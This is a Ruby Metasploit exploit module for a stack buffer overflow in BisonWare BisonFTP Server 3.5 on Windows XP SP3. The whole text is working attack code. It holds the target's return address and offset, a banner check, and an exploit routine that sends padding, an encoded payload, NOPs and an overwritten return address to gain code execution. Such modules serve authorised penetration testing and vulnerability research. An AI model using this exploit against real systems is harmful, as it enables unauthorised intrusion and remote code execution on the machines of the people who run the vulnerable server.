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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = NormalRanking
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  include Msf::Exploit::Remote::Ftp
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'BisonWare BisonFTP Server Buffer Overflow',
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      'Description'    => %q{
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        BisonWare BisonFTP Server 3.5 is prone to an overflow condition.
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        This module exploits a buffer overflow vulnerability in the said
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        application.
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      },
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      'Platform'       => 'win',
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      'Author'         =>
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        [
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          'localh0t', # initial discovery
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          'veerendragg @ SecPod', # initial msf
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          'Jay Turla' # msf
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        ],
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          [ 'CVE', '1999-1510'],
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          [ 'BID', '49109'],
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          [ 'EDB', '17649'],
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          [ 'URL', 'http://secpod.org/msf/bison_server_bof.rb']
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        ],
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      'Privileged'     => false,
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      'DefaultOptions' =>
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        {
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          'VERBOSE'  => true
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        },
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      'Payload'        =>
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        {
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          'Space'           => 310,
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          'BadChars'        => "\x00\x0a\x0d",
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          'StackAdjustment' => -3500,
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        },
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      'Targets'        =>
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        [
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          [ 'Bisonware FTP Server / Windows XP SP3 EN',
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            {
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              'Ret'    => 0x0040333f,
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              'Offset' => 1028,
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              'Nops'   =>  404
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            }
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          ],
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        ],
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      'DefaultTarget'  => 0,
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      'DisclosureDate' => '2011-08-07'))
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  end
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  def check
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    connect_login
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    disconnect
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    if /BisonWare BisonFTP server product V3\.5/i === banner
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      return Exploit::CheckCode::Appears
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    else
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      return Exploit::CheckCode::Safe
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    end
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  end
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  def exploit
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    connect
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    print_status('Triggering the prompt for an unregistered product')
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    sock.put('')
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    print_status('Disconnecting...')
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    disconnect
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    print_status('Connecting for the second time to deliver our payload...')
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    connect #connect for the second time
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    buf = rand_text_alpha(target['Offset'])
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    buf << payload.encoded
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    buf << make_nops( (target['Nops']) - payload.encoded.length)
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    buf << [target.ret].pack('V')
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    print_status('Sending payload...')
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    sock.put(buf)
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    handler
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    disconnect
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  end
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end
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